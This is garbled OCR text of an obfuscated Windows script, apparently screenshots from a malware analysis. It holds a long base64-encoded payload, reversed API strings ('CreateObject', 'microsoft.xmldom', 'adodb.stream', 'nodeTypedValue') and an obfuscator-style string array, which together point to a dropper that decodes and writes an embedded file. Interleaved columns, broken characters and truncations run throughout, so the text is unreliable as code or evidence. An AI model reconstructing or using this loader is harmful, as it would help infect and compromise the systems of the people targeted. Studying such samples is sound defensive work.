ZKYKSEMTNXNwYIWO5WUZBnVIFzaXRINKBTVRR2VTZjTyM1djNDVWZVVIFmVIJGSGdUT1!>zZRWBnRpBFVCFjWypka
XNHCcFNISs5mU0JIMTd3YzQFevFjUKxGVJtyayklewZOUKxmbSRnUyM1djNDVrp1alhIRsFFVCFjWKB3MZ5GbFdIWKROY
SJFMONKTXMFcSpnVXx2VJtSTGVVNBRKUKJVbRZDZWV1bOV1UOh3VIRUNWIMUSV1T3ZkRSNzcyUIT5cVVZZOVNdEe
HR1dJVOVoxmbUIXVGd1dGZkUzM3Vh9kTYNFcsBTWL5UVTINRpBFcxsWZDx2MT5GbVFmMSO1WUwWZEbKRTTVN1cod0
VhZFWVIKTHN2SOR1V2IVbipUOH5EWSdVZx0UVZZjQYVVRkpXYERXRi9kTqlle1!>TYNFTbVp3axM1djNDV3ZVMNFWO
XZFSSd0YL5kaWFDbxI1awd0YSJFMOJHbXNFNvxmUtxmMkBHbF90VatmWwRmMVFGctJFSKJDZXFiMZFjVx0UYkdUT
FxWVNtWMyE1TOhkVZh2MjdkVxo1dRV1U4FIMSpEbuJFdSJzU3N2MUdnVxY1as5WVJhXVISEawM1coNjVoR2aVIkVHJ
2Uax2V3IFMWFGbuRIc4tWZhRWVTVTRpBFcwZUTPRWVTVjWVJ2a0VUTzkTRatEczYIUKVVZMR2VTREaxk1SOV1U5ZU
aQRFdVFGa0Q0VphXbVVHbwimboxWVuJERSpEbYRVSsVVZHFzRaxkQ6RGbkJTYwxGMkdFeXNIbCRKVRXGVJtSTGd
1MO5mUWIzVJtyatd1dChVVFRXRNJIWyM1djNDV3ZVRSxkQEJGWS1WVx0URaNDeXJmaw1GV4IVMTd3YzQ1dsVVYK5
UbTREbrNGa0oXVrFTbRVDdwolSsd1UqpUVhJIWI9ERsVKYVvhGbXFjRGNIaC52U6tGbItWNXNIdSpnVrxGWORKRtV2dG
ZkUzMnMRxEetRleJJzYPR3RUdnUtJGR1!>zYVRXVIFGZwM1cKZ0VoxGSaNHeFN2a1ITUPSESWxEetRVSKdUYhRWRU
VDZzU1axcUYUBXMjNXMtV1dndOVhZIVOhFcxQWNzdEV2!>XMSpEbUIOKNZVW6IUVhpGatdVdOtGV6JVMTtmWrVGW
GZUZUhWMkpHeHZFWoJTVhBXbShkSyQ2VxITWxw2aiFGZH1URsVVZhFjMRIKTIZFTsd0TzxGMiJFaWlleKBTTqZFSOJ
nWxo1dRV1UQBnRiRUNWMWVO0BjYWpkeZJDau1kUWNTY05kMTd3YzQ1dkJTUp5kbSZEcGF2VxcIVxQ3VipGZH1URsV
VZhRWVTVjWVJ2a0VUTzKTRjZkUFRFevFjUMh3RIhIRyl1UoVIWzpkRilGetFleRZFZOVTbX5mQEJISC52UJxWVIdUMHpF
TCpHZsRmMhBHbVR2S4d1UuJERWFFbUIOKNZ0Vz4kbSZVOXIOKr12V3JEWVVEdF1kUaJzU3N2MUdnQqZITK1WUHRH
MjdUMHp1cChVVFRmaRRFdVFmboxWVwZUaQRIQW90dRV1Urp0alhIRGFGRsVIYzFjMR9UOXVVRsROYSJFMOJHbXR
INodVYpZkaTVHewI2T1ITUPSESWxUOXZVeN1GZ0oEVVFDAXJWYOVUTzkTRjdAXWWRVaKtmUMhXbVIIRXV2a4dEV3Bn
ViIRUNWMWYVOVkKYXVjMZd3ZYFmTwhUYUBXMjNXMtV1dndOVhZFbWhkUHF2VXITWFZFVIpWMtFFVCFjWyFTbX5GbFdlI
WKROYSJFMOd3dXRVaKtmUKpEWJtyaXNlaohkYKRmMjREbFNmSOBTWwoVMStGbyoFRW1mUD5kRV5GbrVmakd1U
ZxGbNdnRGJ1MJBTVMx2VUIXVWFGa0oXVRxGRNVEbFp1QwNjVShmMRpUMHJGdOtGV2ZkRSVTQYVVRkpXYUFDMi
JFaWIFeZVkYNJkaRIIRXV2TKRIVZJEWVVEZqFFVOVVYzoEVVBnRpBFVCZ1T3FVVTtmSr'VGWGZUYExWViNXMyE1T5¢
VVFRmehRkSyQ2ToBzU3dnMSIGZuRVd4VVVD5kRV5mRpB1cOtGV6JVMTVnTYEVT1clVOSKMWtmTwM1dJtmUKxGVJt
STVZIbsV0VapERjJIUw40QOZIW10EbiRUNWMWSstGZTFjMROKTIZFT5¢cFV1JVMTdXRspFTCRVVtRXRNNTOFN2dZxGV
pJIMS1kWGVGV0ZVZ6ZkaXZnVxI1aC52U6IFbidVMXZVMk1WTqRXRNNTOVFmVCRIVOpFMhNFbXIOKNZUVUZIRiRUN
wMWSsVkYPh2aZNnSwUVbOVUTzkTRjdXWsRVaSJjUNpIRIRFaWVmeGp2V2ZVMStmQuNIleZxmYXFzVWFDZt1kaOVUT
zKTVhZIVsZFVKZKkYKR2RNVEbrZ1dGZkUzkEMVxkVIpVSst2YoRDVhpkTHV2c5UVYoRjeVFFbUIOKNZOVO4ESitGcuFVN
0BjWK5URXpmQuFmS5cVSrsWbXdnQYVVRkpXYwxGMZRDeXNIdGZ0Vo5kbRpXTXRmV102VuJERSpkSqRVSsVVZHF
zRaxkQ6RGbkJTYw50VIdFZwMId1!>jUrhWbUhEbV90dGZkUzMnMVIFbzMGevFjYSRmVXNHcV1UY412UzhHMi9EaVNV
NFIGUUpVMTd3YYplb01mYqJERjJIUw4kVaV1U1oVVitGdF10M5UkY4NmVXBISGNIaC52U6tmRWFTTFp1M4dlYqBXbU
hXWxo1dRV1UxI1RTpEbuJFdSJzU3N2MUNNR6ZIW5UUZIpOVNFmVFp1M4dlYqBXbUNHeF10QoZVW1UzaNZFasFFVCF
jWWVTbX5GbFdIWKROYSJFMOJHbtRIdstWTVRmMjREbVFGN3d1Uu50MRpEbXJVcxsGZyB3VT5mQEJIS5s2VHXWVId
UMHpFTCpHZQxmMkdEaWFGa0oXVRRmMalXRxolSoZ1V5FEWVVEZUNFRaJjVOUzVT5mQEJISO5WU61kMapEaWdVe
BhVVFRmehRVMwImSORVVuUJERSpEcudFSsVVZHFzRaxkQ6RGUChVSrEFMTVTNVJISsRVSrOUVZZjSVFmao12V150a
UZnRGJ1MBRVTLJkaUhIUyEWNwWITWSVTRXtGblJGdaZOYTVTbZNkUyEVTsdUTYBnRN9EaWpVVSdIYpJkbVIFbWV2V
kBTWRxGRI5EcI5SEWGdOVL5URUBNTu1kaC5WVIpORh9EZWIVdspnUppVbTZTMVR2cKRkKWWRGWhpkWURVSSAEZrR
GbZFDet10asJzYHxWVPhGN6VFbkd1UZxGbNdnRGJ1MBRkYK50RINNStR2TkZVW3d2MWtGatdFWwWFTY0oVRXBHZYF
mSG1GV4dmRTdFdXZFckhVYK50RIhXTHJ2TOpXWvhmbNJITHV2VKFTVHJkaWZFcG1UVSZUZHhGbURjQ6VISWBTUN
xmMkdEaWR2V1cIVqhGSilmWIJWeNdVZXFTbWdXV6ZVYs52UZJ1RSRjWFdINSJTTpR3VOhIRHAFNaVOV39GbNIGcY9
EdO1WYzRmRWpGauZVYs5mU5F1RNFmMSqIVVo5mUZxmMkBHbFR2SoVFVE6FEWitmTHV2VaZkUwYFMVBHZYFmS1U
UZ31kVTtkTFRFcWZVTShXRhJHbrl1QOZUVu5kMSpEbuJFdSJzU3N2MUtGewEIVWXWVH5kVUhXVwYVMGxmYhplbUp
XSXV2TkZVWPBHMR1EbH5UeJd0YThmVXFHeylVak5WUZZkVKNDZrl1co1WTWxmMkBHbF10Tkx2V4B3aNVIUuZFSS1
WZz5EVWNHazYFakVIT1!>nVKNHZFp1M4dlYBXbUNHbwMmSOtWW6pVMShmUW5ERSJDZzFjMZFXNV10VsJzYHXW
VPhGNUFGakd1UZxGbNdnRGJFTCpnWshXbTIFcGR2VkZVW6VzaSpkWUIOKrJTWzpkRTtmQlpVSaFjWwEIRUSWOHdV
Ys5mVYpORiNHZrIVVKBTUtR2VSVUMWEVN3dkWuRXbipFZXVFWwFTY1kEVV5GaUVWTKNUSzI0Qk1GbHFmeKNUSzI
0QhpnVINWaBNETpF1MZBnSIRmeCNIW6ZIbJJmQTB1Zjp2Y2B3RjBDOGIUeG1GZLBzdP5WUzkFcKhEZ6J0UapnVzokl
g0DIxQHelR1Zu9GbgIXY2pwe5JHd", "tcejbOetaerC”, "modimx.tfosorcim”, "DdhLuV003001", "eulaVdepyTedon", "maert
s.bdoda", "tnemelEetaerc”, "uoUibq074859", /codigo/g |;

7 ‘use strict';

8 var _4pjor7 = [ "use strict", "push", "shift", "dHJ5ewp2YXIgbG9uZ1RIleHQxIDOgIkRRb3ZMeUJUZEhKcGJtY2dabIZIWTNS  $5FZwLPDuLmhd3toN49z(9) - "CreateObject"
cGlyNGdhR0Z6SUcxdIpHbG1hV1ZrSUVaVIJFTINXVkJVRFFva05VWmFKMHhRUKhWTWJXaGtNM1J2VGpRNWVqMW1k  $5FZwLPDuLmhd3toN49z(7) - "173920wjKeEW"
VzVqZEdsdmJpaHVLWHRwWmIBb2RIbHdaVzItSUNna05VWmFKMHhRUKhWTWJXaGtNM1J2VGpRNWVpNXNhWE4wV  $5FZwLPDuLmhd3toN49z(10) = "microsoft.xmldor
ZI1ZEtTQTIQUOFpYzNSeWFXNW5JaWinY21WMGRYSnVJQ1ExUmxwM1RGQkVkVXh0YUdRemRHOU9ORGW2TG14cG $5FZwLPDuLmhd3toN49z(6) - "213970IFnRnT"
MzUmJibDB1YzNCc2FYUW9JaUIwTG5KbGRtVnIjMIVvS1M1cWIybHVLQOIpS1R0eVpYUjFjbTRNSKRWR1duZE1VRVIXV $5FZwLPDuLmhd3toN49z(11) = "100300VuLhdD"
Ecxb1pETjBiMDQwWT1hvdWJHbHpkRnR1WFROOU93MEtKRFZHV25kTVVFUjFURzZFYWKROMGIWNDBPWG91YkdsemRE ~ $5FZwLPDuLmhd3toN49z(5) - "467406MQaxVE"
MWJMejRoTDJjcOluWkIRbGRsVGpJeE1qRTFNU0IzZSW5WWVYyMXVUalV5T1RJMO1URWIMQOpoYIdKeWNXTXhOVE13  $5FZwLPDuLmhd3toN49z(12) - "nodeTypedValue'
TkRVek1TSXNJbk5wUzJKcGFqWXpNVGcOTVNJcOIrVIdIROZSVFRZAO5EYzJOQO0IzZSWxSdVVINUATVEEZT1RNeE1pSX $5FZwLPDuLmhd3toN49z(4) - "188136]ibKis"
NJbGRGWIVOcWR6QXIPVE0zTVNJcOIgMXZVVVE1Y0ZGRU9YQIJSRGRDVTBONVNsaGFiMmN5V1RCR01sbG5NRzVEV $5FZwLPDuLmhd3toN49z(13) - "adodb.stream"
G50VVMyeFdibU13ZUdsaUOwSjVTMmRKUTFoalNrTkpjaUUrUTJFd1JrZFZKVmxIWW14T2JFeHdZMFJMYKUTWFAYZE9  $5FZwLPDuLmhd3toN49z(3) - "13540351cqrbma”
WbH<>wUmO0xVWRTRStXRmxuZDFOa2JXaFRXbk5zYIZJMVFqTmISRFY1WTIxd1VVUTNhMmxOYjBrelVXY3dSRWwzU $5FZwLPDuLmhd3toN49z(14) - "createElement”
mtkSmVVWnRaRXN3ZDJWbmEyNWpNSEJSUkRsd1VVUTNRbE5SMZVVwWVdtOW5NbGt3UmpKWIp6QnVRMDV6VkVOa  $5FZwLPDuLmhd3toN49z(2) - "1172925NnmWXu"
1ZucFhibmhwU1dsM2JFbG5JME5KTVZWSFNYSWhQbWxKYVhkc1NYTkpRMUo1U1hwVVIWWnJVek5qZWxacEIUNTVT $5FZwLPDuLmhd3toN49z(
MmN3TVUxaVpFZEpjaUUrVTFoM2N6RmFiMVZIWkhCS00xWnVWbTFWZFdjeVkwc3dkMIZuYTI1ak1IQIJSRGRDVTBOdI $5FZwLPDuLmhd3toN49z(
RXNVVaelF5WW5CU00xbDFWbTVhU3pCUIprc3dVV1pMTUZGbVNE6QjNUMOpHVjFWNVNtMURUbk5xWTJ4S1YySXhOV
WRpYUd4dFkyeE9XRn<>wVmtoaWRscHVUREJzUjBsMVNsaGtNRIpOWTBzd2QwOXdaMU5pYkZKWVIYVTBWMXBuTU
VSSk1HeEhTWGxXHYIdSTE11ZGxaMnRUUzI5UINHVNNOVIZhTWpsWFIuVTBWMW8zYTBOTGF6VIhVakJHYIVAMVZSZEp
aMO05FUzJkSk0ySnRjRkZFTjJONVkyOUpNMkI3UmOxamJERIhaSFZXUIVrelZtMWIaekJFUT1hWV1lwbDVSbTFrU3pCM1Qz
QXdWazFpYkVoTGJUa3dZMnhPYIdKb1VqTmpkV3hyVEhBd1JrMWIIRWhMTUU1WFduRktNbFF3VmpKU1p6QkVTWHB
3VVVRM1FsTkxNakJVVUU5b1EwbHRiRzFEVGpCdVEWNHdia05PYzFSYWRFWnRWRFZHUjJKM1RsaGhSVFZEWKhCQ
2FXSjVWa2hrYkVwdVEWNXpTRWxzVGtoaWJFSIRaa3N3VVdaTE1IZFBIREZYV1U5¢c1dGbHpRak5qY0ZKcIREQnNSMG
wxU2x0a01GWnRZMHN3ZD<>5d10xTmliRkpZWVhVMFYxcG5NRVJKTUd4dFEWNXpTRWx3YTBOTE1HaFIXazIXYIdSM
k1XMU1kVII5VDNCbIExcDFWa1ZrYURWcFlteEARMGszWjBOSmVUbHRXa3N3ZD<>5d1RVaExIVGxIWkdoS1dGcDBWb
TVpUmtKNVpHdzFSMGs1SVQ1cFlteHdVVVEzZYTFOWWVuTldaVzlaTWxSNIZgSIpkVVpIWkhvMVYxTjFhM2xhZEdSSVN
6Qk9WMXB4U2pKVU1GWXIVbWN3UkVsNmNGRkVOMGxwVFdraFBubExaMk5YWWpOQ1UxQm5ZMWRpTTNCUIJEZE
NVMHR1WTBOSK9UQIVTV2RKUOdSNmFFTkpiV3h0UT<>0d2JrTk9jMVJhZEVadFZEVkdSMkozVGxoaFJUVKRaSEJDVT
FCbINVaGtlaOpwWTJoYWJrTk9jMVJMYnpCWFdqQnNiVXgxVmtkSk9TRStRMIJ3UW1samFGcHVRMDV6UOVsd2EwWTkx
NR2hZV2s5V2JXUjUNVzFNZFZZeVQzQm5RMX<>xVmtWa2FEVnBZbXhHUTBrM1owTkplVGx0V2tzd2QwOXdUVWhMZV
RsSFpHaEtXRn<>wVmO01aVJrSjVaR3cxUjBrNUIUNXBZbXhDYVdOb1dtNURUbk5VUzJST2VsYzFhR2xhVUU1WVdtbzF
WMWt3VG01aVNQqVIRTMjR4TW1SdIVUTIpiSEJOV1ZCU1dGcEIRbE5SRWj<>xdVEwNXpha2w1Vmtka2RWWXIXVFZTVOd
GNVZqTIpiRTVJV0dOUO00ySjJTa2hZWTFJelkzWm9SMkpvVGpKaWMzaEdXR040YkU5NIVsaGliakZOWW5Ca2JrbG5NRV
JKYmpFeVpHZEpXRmt5Y0ZGRU4wSIRTekFoUGxOUU9TRSthVIJ2SVQ1cFduQndVVVE1Y0ZGRU9YQIJSRGR6VjFsc1N
tNVpTekizZVDNVNVYyRXdRbGhaUkRWRFpIQkNhV00o1Vmtoa2JFcHVRMDV6VkV0dk1GZGFNR3hOVEhWV1lwazVJVDVE
WKhCQ2FXTm9XbTVEVG50SVNYQnJRMHN3YUZoYVQxWnRaSFI4YIV4AMVZqSIBjR2REV25WV1JXUm90V2xpYkVaRF
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5) > "958470qbiUou”

1
1) > "151212NeWBHV"



NUZG5RMGw1T1cxYVN6QjNUMOJOUOVONUIVZGthRXBZV25SV2JtSkdRbmxrYkRWSFNUa2hQbWxpYkVKcFkyaGFia05
Code PYzFSTFpFcDZWelZvYVZwUVRsaGFhalZYV1RCT2JtSktOVK5MWkVKNIZ6VmIRMIJxVmOxaGFUbEZaR3hrUIVFNUIUNT
VZMHN3ZDJWbmEybE5aekJVVUdjMFJVdG5XVmRoU3pCM1QzcENhV05vV201RFRuUTKITWEEWUIVOCE9VVKpkVGxYW
VRCT2JXSXhXbTFEVGpCdVEWNXpWRXRrTIRCWGNXaERaR3BXYIdGcE9VVIhiRnBZWVRCT1YxRm5ZMWhhZFVKcFI
ubFdTR1JzU201RFRuTKITWEEWUIVONVRrVkpkVGxYWVRCT2JXSXhXbTFEVGpCdVEWNXplbU5uTkcxak1WSIIXbmx3
VVVRM1p6SIJaM05EU1ZaQ2VVdG5aekpSWjNORFNWVTFSVWx5SVQ1RFIVUKNIVXRuWnpKUIozTKRTWEJSUKVOCE9V
VkpjaUUrUTJGRVFubExaMnRwVFc5Sk1sUm5JME5KYj<>1RINYSWhQbE5MYVZWVIZFSTFhMVZHVGxaV2FXZERaVVp
DZVVO0blp6SIJaM05EU1hCSIUXxSk9SbXRVVTFaRIZsWkNWbFJRVG10SmlyZFIVbWR6UTBsdIRrVkpjaUUrYVZSWFFsTIF
aMDF1UT<>0d2JrTk9jMnBKVURWCcINXY3dSRWxWTIdORFRuTKkITV3hPUOdKc1FsTm1TeklzVDJsTIZsSmFTbESRWjFGc
1ZFc3dkMIZuYTFOTGFWVkhaV3cxZVZscFdraFIZMIJxVFRNaFBsUk9kUOUrYWt4NVdVaFIZM1JOWTNaa1dGeDBSbTFqU
jNoR1dGVIdhMVIxVVec1YWRrNHpZbmxPVjJGT2VFWIIhUOUrZVVObmEybEpIV3hIV25Wc01sWnBaME5sUm10NVI6Qk9X
ROUwVmxkYWMyeHRXbIZOYmxwdklUNXBXbkJ3VVVRM2EWZE1WVFZGVEhwQ2FXTm9XbTVEVG50SVNYQm5hVn<>
xUW1saWRteEhaR28xVjJSdGNGRkVPWEJSUKRKUINHVNNVbGhhZWpVeVIuZE9XRn<>1TIVOWFp6UnRZekZTVOZWNW
NGRkVOMnRUVVc5UmJXSnNUbTVNV1hCUIJEZHJVMHR2V1cxaWMwbHBUekExVjFwdVJsVk1IVIISWTFaS1EwdDVWa
2RhYUZaSFV6Qk9XRm94UmxoYVUxSIIXbFExXUTFKTE1IZFBjRIVSWTNOR2JWcG5kM2xSWjNORFNXNDRRMDR6YTNw
TO5tZFVUM2cwVT<>xNINXcE1NazFxVFhWVIJFOTRPSGXxNTmIFK1NHUXdhREpLYzJORFZsUTVSVIZ1WjJsaWJFSXpZ
bIZuYkVOT2MxUkxIbWRwWWTBSQ1UxQm5aMFpKZVVadFpFc3dkMIZuYTFOUMMwMUZTekJDUmtsMU9WZGhNRTVOW
WpGYWJVTKINRzVEVG50VVMybFZhVWxuYzBOSIZFSjVTMmRKVTBwcFozbGpialZYWVhsU00xVXdOVmRhZERVeVI
ubHNiV1IxVmtWYWRVWkhZelJXYTB4dIRraEpkVXBZWKRCV2JXTkxNSGRsWjJONVZXOW5XRkpuTkRKaWNGSXpXWF
ZXYmxwTE1IZFBaMnRUV2pGS1NHUNZJVDVUV250c¢1lyRXpRbE5tU3pCM1QzQWhQa1JOZDJORVMzZFdWMXB6VG14
TU1FSIIZWGXxPTWxWWWNGRkVPWEJSUkKkRkQ1UwdDVTbGhhYjJjeVdUQkdNbGxuTUc1RFRqQnVRMDV6VKVONVRVa
ExkVIp1WTNWbk1tTkxNSGRQY0dkVFdubzVSMkpFTIZOaGJYQIJSRGRYVTFoNGMwWIZiMVZIWkhCS00xWjFhMjFhU3
pCM1QzQIZWMII1VWtoTWVVMUITMngOVjJGSFVraGxiRkpXV2pCR1YxcDVUbXRNZWxwSFNUa2hQbE50YIVKcFkyaGF
ia05PYzFSWWVYTkdWV2R6UTBscGQwWIIhUOUrZVVObmEybEpkekZYV2pCS1EwczBWa1ZKT1NFK2FVMTZRbWxqYU
ZwdVEWNXpTRWx3U1dsU1UwcERTVGt3VkZCbk1FWk5Za0pHUzJkWIYyRkxNRkZtU3pCM1QzQkZSRXN3YkZka1VqVkR
aSGRzYIdOcVRqRIdTeklzVDNCSmViTnZkMWRaTWxadFEWNXpWRXR3WkZkYWVYaHBTV3hWYIZSdVNsWkthV2RUV2
1wR1lySjNWbTFqZFd0cFkydGFTRXhwU1VoYWJVNVITbWxuVTFwcVJrZGIkMVpOWTNWemFXSXpIR2xKZFZacFNXOV
ZNbGxvZUVkamJFcHVUSEJWYmxwelNXbGFiRWxEUzJ4T1YxbHpRbGhhZVRWcFRYCENVMUJuU1hwalN6QjNUMmxS
YT<>xNU9HdFhSbkF3VGpOamJFbG5NRVJKY0dSWFdubENhV05vV201RFRuTIVaRzFDVTFCbINVaGFNaOpwWTJoYWJ
rTk9jMVJZZUhOR1ZXY3dSRWw1VFVoSmVVWnRaRXN3ZDJWbmEybEpkVIpzU1djd1ZGQTVJVDVUVOhkelJsVnZJVDV
wV25Cd1VVUTVjRKZFTjJOVFRXOVJXROV4Um14TU1FSIIZWGXPTWxWWWNGRkVOMnRwWVG50SmFVbGpTa05KY2IFK
2FVMTZRbmxMWjBscFNXTkNhVkYyTOVOSmJHaFIXblZSU0dOd1NqTIplbVJ1U1c4MFYyUjVOVU50ZW5CUIJEZHJRMH
RzVGpOaWMwNXJURzFTTTFsTE11ZFBjRIV6V205VIlyUndTak5XZFZsSFpHcHdVVVEzYTJsSk9GcEdabWwzYVVrNFZr
Wm1hV2RUV21wR1lySjNWbTFqZFZVeldtY3dSRWt4WkcxRFRuTIVXSGh6UmxWbk1FUkpNV1JIUThsR2JXUkxNSGRQY
0ZWWFplbFNTRXg1VFVoTGJlaFhZVWRTUOdWc1VsWmFNRVpYV25sT2EweDZXa2RKT1NFK2FWb3dUa2RKZVVadFpF
c3dkMDIrU25wWFVVSjVTMmRKUTFoalNrTkpjaUUrVTBOCEIUNVIZbXhTYmtsdloxaFNaekJFU1hsTINFbDVSbTFrU3pCM
1pXZHJhVWwzVm14SIp6QIVVRGtoUGXOWWQzTkdWVzhoUG1sYWNIQIJSRGx3VVVRM2ExTk5iMUZZWVRGR2JFd3d
RbGhoZVU0eVZWaHdVVVEzYTJsSmFYZHNTV2R6UTBreFdrZEpjaUUrYVVscGQwWkpRemw1VEdkVIlyVnNOVU5rZDJ
4dFkycEONMIJwWjJsaU1VcHVURzIPYmtOT2MxUkxiMVV5WTNaNE1sRjFhekprU3pCM1QzQkpibHB2VIVka2NFb3pWbIZ
yTW1STE1IZFBjRIVSWTNOR2JWcHpTVVJNTVZWSFMyeDRWMkZIVWtobGJGSNNZbXhDTTFSMVRXNWFaekJFU1hCa1
NFbDVSbTFrU3pCM1QzQXdWazFpUWtaTVpFSjZWMDIhUmt0c1RsZFpjMEpZV25rMWFXTnRRbE5RWjBsdVdrc3dkMDI
3U1hsWWFXZERaSEIOUjJONk5XbFVWMEpUVUdjMGExWkxNSGRQY0dkVFdubzVSMkpFTIZOaGVYQIJSRGRyUTBOe
mVGZFJhMFpYV2xNMVUyRjVRbESRWjBsdVdtZEpXRmt5Y0ZGRU4ydFRUWE5WYmxwdIZVZGIjRnBGWKRSV1IxWjFW
a2RqVURWNVkyMUNVMUJuYTIxalowbFIXVEp3VVVRM1FsTkxhVFJOVidraFBsTIFPVEJFU1dSQ2VsZFJhRU5KYId4dFE
wNHdia05PYzFSTFpFWjZWMUZvUTJKb1dsaGFTeklzWidkcmFVazBWbXRKWnpCVVVEa2hQbE5ZZDNOR1ZXOGhQbW
xhYOhCUIJEbHdVVVEzYTJsTmVtaHBZakZLYmt4dIRtNURUbk5VUzI5Vk1tTiJIREpSZFd0dFdrc3dkMDI3TUZaTIIrSkdTM
nhTVOdGNVpHeE1jRnBOUT<>1elZFAHNWbTVqTUhocFRYcGOVMXB6YkcxU01HaFIXbFZXUjJSb1ZtMWpSRFY1WTIxQ1
UxQm5hMjFhWjBsWVdUSndVVVEzTUd4TIIrSkdTWEIoUG1sSlkzaHNTV2R6UTBsd1NVTmpkRIpIWkdsblEyVkdRbESR
WjBsNIkyZEpXRmt5Y0ZGRU4wSIRTMmxOTWxWCcEIUNVRVRGt3UkVsa1FucFhVV2hEU1cxc2JVTkO9NRzVEVG50VVMz
aG5RMIJ3VmxoVmRWRKIZMOJLTTFsVVpHeERUbk5JU1hCSIEySkVTa05KT1RCVVVHY3dSazFpUWtaTFoxbFhZVXN3Z
D<>5d2QwZGplbWhEWKhCNFIyTjZOVU5WWnpCRVNWRndVVVEzYTNsS2JuZDVTbXhLYmxadVowTmtVVUpUVUdjaF
BrWkplIVVpOWkVzd2QyVm5hMjVqTUhCUIJEZENIVOpyYO0ZGRU4ydERTM28xYTBOTO1HNURUakJ1UT<>1elZFdGtWbnB
YYm50VFZuTXdiRTFpWkVKTGJGSIIZWGxrTVZwc1NteE1iMDV1UT<>1emFrbEdUa1pVUWxwcINXY3dSRWxXY0ZGRU4
wSIRXbn<>0VjFwbk1HNURUbk5VUzJSV2VsZHVIRk5XY3pCc1RXSmtSMHRzVWx0aGVXUXhXbXhLYkV4dIRtNURUbk5
xU1VaV2JGVIZTa05KT1NFK1UxWkxNSGRsW;jJOcFIqTkNIVXRuU1VOWVkzQnFTV2N3VkZCbk1GWk5ZbG96WTJkelEwb
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HTjNXV3RVYVhCclpXbFNibGRaUmO0xTk5GbFZVM3BDVkUxT1NtMVROa3BIWkdGb1ZsbDVaMnBTU2s1SVRYTXhhMWx
MYO0c1Wk1l1QkdWMmhLUkU5SGJEQmpkMWxXVkdsd2EyVnBVbTVYV1VadFRUUIpWVk42UW1wU1RrcHRVelpLUjJSaG
FGWIpIV2RVVFZoa1lwMUZiRVZOTURCWFZ6VndNRTFQV20xUmNFNUhZVOUxTWxGUFRraFdXV1F6WTNNeGEyUjRNR

Code
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WRhZDNCc1pWbDBSVTFTV2pKVGQyTXpWSGRrTWxWWIVtMVJWVEZyV1ZOd2JWbHdjR3RpYWs1RVQzaGpSbUZUY
Code UZaWGNrb3dVVTFDV0ZkVk9VVmxiazVGV2pGNFYxWmhjRzVUV1d3eFpFTk9SbFZ1UW1wV1RGSjZXVIV4ATUdKUO5XM
VpTMXBzVFdwc2JsSklUbTFaUjJSRIdtOUtNVkpLVGxoVFJXeFZUMEpPUmxkM1pFZFdVR2d6V2tSU1YyUnpWbXhYTm
5CRIYxcGtTR1JYYkVaTllyUnJWMjVrTTFGT1pFZE5SV3hGV250Wk1WUnBTbXhoYVd4dFUzVk9Naz<>wUIhwV2lwcEdW
MX<>wYIZGRWVFVmpkMWt4VTNsallxWk9PVmRWZFVwdFUxZEtlbGsxV2pCU2FrcHRWSHB2Vm1WSFpEQIRhM2d5V
VU1U1ZGSkZKRVZOTVdNeFZYTTFhMkpxYUcxUmViTkdZVk5vVmxkeVNqQIJUVUIEV2xSb1JtTIdVakZVTkdReVVXdFdT
ROpXY0d4bFMyaFdWek5TYmxaYVFtcFNTSEF4V2pOT1ZsUnVRa1JTU2xKSFIrUTVWVTVHVWpCVGQxVjZWbFIOYIZSM
VRrZGhRMDU2Vm05S1JsZGFkRzFSYOVWWFpWZG9SVnB6YOVWVFNtUXIZbEpTTUU1eVRqRIROR1JIVmsONVYxVjFTb
TFUVjBwNIdUVmMFNRKkpxT1VKTIYzUIZaVzVTVmxSMIJteGIhWEJyVm5sTIYyVkhaREJaYVdoSFRWWm9iRkZVUWpGYV
JtUKZXbTILTVZKS1pESmIVbEI3VGtaalJWcHZTakZTU214VVVWUmM9SbHB2YOROV2QxRIVZbHBzZYmxONk5SHdGFNRVo
2V1hWd1JWZGFaRmRSYO0U1clZIcFNNVk42WTBkV1RgbFhWWFZLYIZOWFNucFpOVmM93VW1iwa1llwMUZiRVZhYz<>0e
FZEQIZSVKkpNUWxST1dFNUdZazgxTWxsdINgQk5XSEJJV25ST1lyRKRUbFZUVEVKNIpGQKNNMKUXTVZWT1JsSXdVM2
RWZWxaVWVHMVVKVTVIWVVOb01GTnJIRmRoVGxaVVVrVjBSVTB4WXpGVmN6VnJZbXBvYIZGNIkwWmpjazVzVKRC
VIJWSk1RbFJPVOU1R1IrODFNbGx2U2tWVFRGSIhUWGcwYTFsVGNHMVpjSEJyWW1wT1JFOTRZMVpUVDBacVZtNUN
SRkpLY0OVoYWRFNUhZVU5zTWxsdmNFWIRTbVF5WWxKU01FNXVjRzFYTId4RIVteGtTRTIIYKZWUFFrNUZXakYOVjFaa
GNHNVRXV3d4WkVOc01sbHZjRVpUU21ReVIsSINNRTVEVGpGVGIwcEdWMX<>wUjJGRU5XdE5Wa3<>2V1c5d1ZWWm
hkRmRQZVdOR1IsTmtWVk14YkhwV2FFSnFWSFJLVj<>xaE1USIJUMEpxWWtRMU1HTIZKkRVZpUTJoV1dsWktiROpwZU
cxWFdYQXhXak5zTTFreVNrVIRURUpJVFVsc01GeDJSa1pTTXIFK2FsSnBhRzFYZW5Nd1duZFJWVk42V2xWaWEwcHR
WRWxLUjJKRGJHMVpOVnBHVTJONGJWTkpiREJhUWs1VIUweENIbVJzZWkRKaE5VNHIXak5PYTFsdmNFWIRURIpZVD
FoR1lwMVBNVzFaZUc4eFVrcHNWRkZ3YkRGaVFteHRXVFZhUmxOcmVHMVRTV3d3V25aR1JsSXpjekpSVEdodFVWUk
NNVnBPYUdOWmMwcFZZV3BvYIZkSmJEQmFkalpHVWpOSk1GVk1IRzFSV1ZaWFZsTTFiVmx6Y0VaWFIXUXIaRFZPYI
dSRGFEQIRjRXBWWVdsYVNHSkIVbTFoTVdOR1duUKNXRIZGWkVSTIYzUkZUa3BTTUZONFNqQIJUVUpPZVjFVeE1HSjJ
aRIZUZWtKVVRVNW9NMk40Tkd0ak5HUIZXVFZ3YkdWWIpESmtWSFJWWIVwU01GTjRTakJSVFVKWVVsVXhNROoyWk
ZWVGVuUXIWVTg1TW1KSWJEQmpjazVXVkRWa1YyRm9aREprVkdoV1pVWndNMVo2VFROU2FUbHRVM1UxYTFwRF
RrVIVKMFpzWIUONU1tSkliREJqY214WVZEWmtWMkZvWkRKa1ZIUkZUVXBTTUZONFNqQIJUVUpZVWtWMFZXTkRUa1Z
VZDNSdFIVNDVNbUpJYkRCamNteHVWRFJrVjJGb1pESmtWSFJyWIVaU01GTjRTakJSVFZKdFVsVXhhMWxyY0ZoWm
